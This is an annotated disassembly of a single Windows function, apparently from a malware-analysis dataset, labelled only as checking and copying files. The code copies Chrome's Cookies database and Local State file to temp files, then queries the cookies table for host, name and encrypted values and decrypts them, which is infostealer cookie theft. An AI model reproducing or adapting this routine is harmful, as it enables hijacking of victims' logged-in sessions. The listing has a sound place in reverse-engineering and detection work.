Function at 0x40f480
Capabilities:
Check if file exists
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
and dword [ebp - 0x10], 0
and dword [ebp - 0x20], 0
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 0x24]
push 0x1a
pop edx
mov dword [ebp - 0x34], ebx
call fcn.00413915
mov edi, 0x4194e4
lea ecx, [ebp - 0x24]
push edi
call fcn.004043fa
push 8
pop edx
lea ecx, [ebp - 8]
call fcn.004044c4
push eax
lea ecx, [ebp - 0x24]
call fcn.004042c5
mov ecx, dword [ebp - 8]
call fcn.00406f1d
mov esi, str..tmp
lea ecx, [ebp - 0x24]
push esi
call fcn.004043fa
push 0x1a
pop edx
lea ecx, [ebp - 0x28]
call fcn.00413915
push edi
lea ecx, [ebp - 0x28]
call fcn.004043fa
push 8
pop edx
lea ecx, [ebp - 8]
call fcn.004044c4
push eax
lea ecx, [ebp - 0x28]
call fcn.004042c5
mov ecx, dword [ebp - 8]
call fcn.00406f1d
push esi
lea ecx, [ebp - 0x28]
call fcn.004043fa
push 0x1c
pop edx
lea ecx, [ebp - 8]
call fcn.00413915
push eax
lea ecx, [ebp - 0x10]
call fcn.004043c7
mov ecx, dword [ebp - 8]
call fcn.00406f1d
push str.GoogleChromeUser_DataDefaultNetworkCookies
lea ecx, [ebp - 0x10]
call fcn.004043fa
push 0x1c
pop edx
lea ecx, [ebp - 8]
call fcn.00413915
push eax
lea ecx, [ebp - 0x20]
call fcn.004043c7
mov ecx, dword [ebp - 8]
call fcn.00406f1d
push str.GoogleChromeUser_DataLocal_State
lea ecx, [ebp - 0x20]
call fcn.004043fa
mov eax, dword [ebp - 0x10]
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov esi, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
test eax, eax
je 0x40f6d9
push dword [ebp - 0x20]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40f6d9
mov eax, dword [ebp - 0x10]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40f6d9
push 0
push edi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40f6d9
xor eax, eax
mov dword [ebp - 0x18], eax
test esi, esi
je 0x40f5e6
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406e8d
push esi
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebx + 0x40]
xor ebx, ebx
mov dword [ebp - 0x38], ecx
mov ecx, ebx
mov dword [ebp - 0x14], ecx
test eax, eax
je 0x40f665
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
push ebx
push ebx
push eax
mov eax, dword [ebp - 0x18]
push eax
push 0x200
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
mov ecx, ebx
call fcn.00406f2c
push dword [ebp - 0x18]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
push ecx
push ecx
push ebx
mov ebx, dword [ebp - 8]
push ebx
push eax
push dword [ebp - 0x18]
push ecx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
lea ecx, [ebp - 8]
call fcn.0040434f
push eax
lea ecx, [ebp - 0x14]
call fcn.0040415d
mov ecx, dword [ebp - 8]
call fcn.00406f1d
mov ecx, ebx
call fcn.00406f1d
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x3c]
push eax
push ecx
call dword [ebp - 0x38]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x14]
mov ebx, eax
call fcn.00406f1d
test ebx, ebx
je 0x40f705
push ecx
mov ebx, esp
and dword [ebx], 0
test esi, esi
je 0x40f6a8
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push esi
push eax
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
call fcn.00413c34
mov ebx, esp
and dword [ebx], 0
test edi, edi
je 0x40f6d3
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push edi
push eax
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
call fcn.00413c34
pop ecx
and dword [ebp - 8], 0
mov ecx, edi
call fcn.00406f1d
mov ecx, esi
call fcn.00406f1d
mov ecx, dword [ebp - 0x20]
call fcn.00406f1d
mov ecx, dword [ebp - 0x18]
call fcn.00406f1d
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 0x14
and dword [ebp - 0x4c], 0
lea eax, [ebp - 0x48]
and dword [ebp - 0x48], 0
push eax
lea eax, [ebp - 0x4c]
push eax
push ecx
push ecx
mov ecx, dword [ebp - 0x20]
call fcn.00410827
add esp, 0x10
mov dword [ebp - 8], 1
test eax, eax
je 0x40fadc
mov ebx, dword [ebp - 0x34]
lea ecx, [ebp - 0xc]
push 0
push ecx
push 0xffffffffffffffff
mov eax, dword [ebx + 0x44]
push str.select_host_key__path__name__encrypted_value__expires_utc__is_httponly__samesite__is_secure_from_cookies
push dword [ebp - 0x3c]
call eax
add esp, 0x14
test eax, eax
jne 0x40fadc
mov ecx, 0x61a5c
call fcn.00406fa7
mov ecx, 0x270f
test eax, eax
je 0x40f78d
lea edx, [eax + 4]
mov dword [eax], ecx
mov eax, edx
and dword [eax], 0
lea eax, [eax + 0x28]
and dword [eax - 0x24], 0
and dword [eax - 0x20], 0
and dword [eax - 0x1c], 0
sub ecx, 1
jne 0x40f76e
mov dword [0x41e6a8], edx
jmp 0x40f794
and dword [0x41e6a8], 0
push dword [ebp - 0xc]
mov eax, dword [ebx + 0x60]
and dword [0x41e6ac], 0
call eax
pop ecx
cmp eax, 0x64
jne 0x40fa5f
mov esi, ebx
mov eax, dword [esi + 0x4c]
xor ecx, ecx
push ecx
push dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x1c], ecx
call eax
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40f7e7
push eax
lea ecx, [ebp - 0x5c]
call fcn.0040434f
push eax
lea ecx, [ebp - 0x14]
call fcn.0040415d
mov ecx, dword [ebp - 0x5c]
call fcn.00406f1d
mov eax, dword [esi + 0x4c]
push 1
push dword [ebp - 0xc]
call eax
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40f812
push eax
lea ecx, [ebp - 0x60]
call fcn.0040434f
push eax
lea ecx, [ebp - 0x30]
call fcn.0040415d
mov ecx, dword [ebp - 0x60]
call fcn.00406f1d
mov eax, dword [esi + 0x4c]
push 2
push dword [ebp - 0xc]
call eax
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40f83d
push eax
lea ecx, [ebp - 0x64]
call fcn.0040434f
push eax
lea ecx, [ebp - 0x10]
call fcn.0040415d
mov ecx, dword [ebp - 0x64]
call fcn.00406f1d
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x4c]
push 3
push dword [ebp - 0xc]
mov dword [ebp - 0x44], eax
mov eax, dword [esi + 0x78]
call eax
mov ecx, dword [esi + 0x70]
mov ebx, eax
push 3
push dword [ebp - 0xc]
call ecx
add esp, 4
mov edx, ebx
mov ecx, eax
push dword [ebp - 0x40]
push dword [ebp - 0x44]
call fcn.004108a6
add esp, 0x14
test eax, eax
jne 0x40f883
xor ecx, ecx
call fcn.00406f1d
xor ecx, ecx
jmp 0x40f898
push eax
lea ecx, [ebp - 0x68]
call fcn.0040434f
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040415d
mov ecx, dword [ebp - 0x68]
call fcn.00406f1d
mov eax, dword [esi + 0x54]
push 4
push dword [ebp - 0xc]
call eax
mov ecx, dword [esi + 0x50]
mov edi, eax
push 5
push dword [ebp - 0xc]
mov dword [ebp - 0x44], edx
call ecx
mov ecx, dword [esi + 0x50]
push 6
push dword [ebp - 0xc]
mov dword [ebp - 0x40], eax
call ecx
mov ecx, dword [esi + 0x50]
push 7
push dword [ebp - 0xc]
mov dword [ebp - 0x6c], eax
call ecx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x20
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40f8ea
push eax
call ebx
test eax, eax
jg 0x40f900
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40fa25
push eax
call ebx
test eax, eax
jle 0x40fa22
mov eax, dword [ebp - 0x14]
xorps xmm0, xmm0
movups xmmword [ebp - 0x94], xmm0
test eax, eax
je 0x40f93c
push eax
call ebx
test eax, eax
jle 0x40f93c
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x14]
call fcn.004040d5
push eax
lea ecx, [ebp - 0x94]
call fcn.004043c7
mov ecx, dword [ebp - 0x50]
call fcn.00406f1d
and dword [ebp - 0x50], 0
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x40f96e
push eax
call ebx
test eax, eax
jle 0x40f96e
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x30]
call fcn.004040d5
push eax
lea ecx, [ebp - 0x90]
call fcn.004043c7
mov ecx, dword [ebp - 0x54]
call fcn.00406f1d
and dword [ebp - 0x54], 0
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40f9a0
push eax
call ebx
test eax, eax
jle 0x40f9a0
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x10]
call fcn.004040d5
push eax
lea ecx, [ebp - 0x8c]
call fcn.004043c7
mov ecx, dword [ebp - 0x58]
call fcn.00406f1d
and dword [ebp - 0x58], 0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40f9d2
push eax
call ebx
test eax, eax
je 0x40f9d2
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x1c]
call fcn.004040d5
push eax
lea ecx, [ebp - 0x88]
call fcn.004043c7
mov ecx, dword [ebp - 0x38]
call fcn.00406f1d
and dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x74], eax
mov eax, dword [0x41e6ac]
mov dword [ebp - 0x84], edi
cmp eax, 0x270f
je 0x40fa17
lea ecx, [ebp - 0x94]
push ecx
imul ecx, eax, 0x28
add ecx, dword [0x41e6a8]
call fcn.004027c6
inc dword [0x41e6ac]
lea ecx, [ebp - 0x94]
call fcn.004015a1
mov eax, dword [ebp - 0x1c]
mov ecx, eax
call fcn.00406f1d
mov ecx, dword [ebp - 0x10]
call fcn.00406f1d
mov ecx, dword [ebp - 0x30]
call fcn.00406f1d
mov ecx, dword [ebp - 0x14]
call fcn.00406f1d
push dword [ebp - 0xc]
mov eax, dword [esi + 0x60]
call eax
pop ecx
cmp eax, 0x64
je 0x40f7af
mov esi, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x34]
test eax, eax
je 0x40fadc
push ecx
mov eax, esp
mov dword [ebp - 0x2c], eax
and dword [eax], 0
test esi, esi
je 0x40fa90
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
mov ecx, dword [ebp - 0x2c]
push esi
push eax
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
call fcn.00413c34
mov eax, esp
mov dword [ebp - 0x2c], eax
and dword [eax], 0
test edi, edi
je 0x40fac1
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
mov ecx, dword [ebp - 0x2c]
push edi
push eax
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
call fcn.00413c34
pop ecx
push dword [ebp - 0xc]
call dword [ebx + 0x7c]
pop ecx
push dword [ebp - 0x3c]
call dword [0x41e8bc]
jmp 0x40f6d8
mov eax, dword [ebp - 0x34]
push dword [ebp - 0xc]
call dword [eax + 0x7c]
pop ecx
push dword [ebp - 0x3c]
call dword [0x41e8bc]
mov ebx, esp
and dword [ebx], 0
test esi, esi
je 0x40fb15
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push esi
push eax
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
call fcn.00413c34
mov ebx, esp
and dword [ebx], 0
test edi, edi
je 0x40fb40
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push edi
push eax
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
call fcn.00413c34
pop ecx
jmp 0x40f6dd